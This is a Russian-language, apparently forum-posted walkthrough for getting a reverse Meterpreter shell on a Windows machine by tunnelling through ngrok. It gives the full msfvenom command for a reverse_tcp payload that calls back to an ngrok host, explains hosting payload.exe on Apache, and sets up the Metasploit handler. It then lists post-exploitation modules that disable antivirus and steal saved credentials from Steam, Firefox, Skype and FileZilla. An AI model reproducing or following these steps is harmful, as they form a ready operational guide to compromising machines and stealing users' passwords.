Metasploit + Meterpreter

Привет парни,сегодня я вам покажу как можно получить обратное подключение без прокидывания портов .

Для этого нам понадобиться три утилиты metasploit и ngrok.

Думаю про metasploit ничего говорить не нужно тут всё предельно ясно

Ngrok — это платформа, которая с помощью установленной утилиты, позволяет, организовать удалённый доступ на веб-сервер или какой-то другой сервис,

Для начало нам надо зарегистрировать аккаунт ngrok. Переходим на сайт https://ngrok.com

регистрируем аккаунт , после чего выполняем эти команды дабы не делать лишние клики

wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip && unzip ngrok-stable-linux-amd64.zip

Далее получаем наш токен,он потом сохраниться в yml формате,после чего можно будет просто прописывать ./ngrok

После запуска ngrok, вы увидете это

tcp://0.tcp.ngrok.io:12113 -> localhost:4444

Проще говоря,наш трафик будет идти сюда 0.tcp.ngrok.io через порт 12113 будет перенаправляться к нам на основную машину, эту косноль не закрываем,создаем новую!

Сейсас мы создадим пейлоад msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13286 -f exe > payload.exe

На моем примере я создал полезную нагрузку для винды,так-же можно выбрать архитектуру но я не стал этого делать,чтобы перекинуть это чудо на виртуалку в моем случае можно воспользоваться apache,сперва нам нужно узнать свой локальный ip

командой ifconfig , после чего прописать systemctl start apache2 и перейти по этому пути /var/www/html/ и удалить html файл, и поставить свой пейлоад

Теперь нам нужно запустить саму metasploit , для этого воспользуемся командой msfconsole

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost localhost
set lport 4444
exploit

Давайте соберем больше информации, о нашей тачке для этого можно использовать две команды sysinfo

После этого нам нужно проверить тачку на виртуалку командой run checkvm

run wineum мы получаем хэш паролей, настройки системы, список пользователей и многое другое

Run scraper получаем информацию из реестра , информации о сетевом подключении, маску сети и многое другое

run getcountermeasure проверяет установки безопасности на тачке,и может отключить защиту мало вероятно,можем заметить что нам рекомендуют использовать run post/windows/manage/killav чтобы попытаться отключить защиту на тачке

Иногда оно отключает защиту, вместо того чтобы писать длинную команду можно использовать короткую run killav,и с небольшим шансом мы выключим защиту но это не точно.

Давайте попробуем узнать что установлено на машине, использовав команду run post/windows/gather/enum_applications , в большой вероятности мы увидим разные браузеры и стим ,благо есть плагины которые позволяют украсть данные у пользователя

run post/windows/gather/credentials/steam

run post/multi/gather/firefox_creds FireFox

run post/windows/gather/enum_ie – Дно Эксплорер

run post/windows/gather/enum_chrome Google Chrome (не работает)

run post/windows/gather/credentials/skype Skype

run post/windows/gather/credentials/filezilla_server – чек на файлзиллу

run post/windows/gather/win_privs – Права текущего пользователя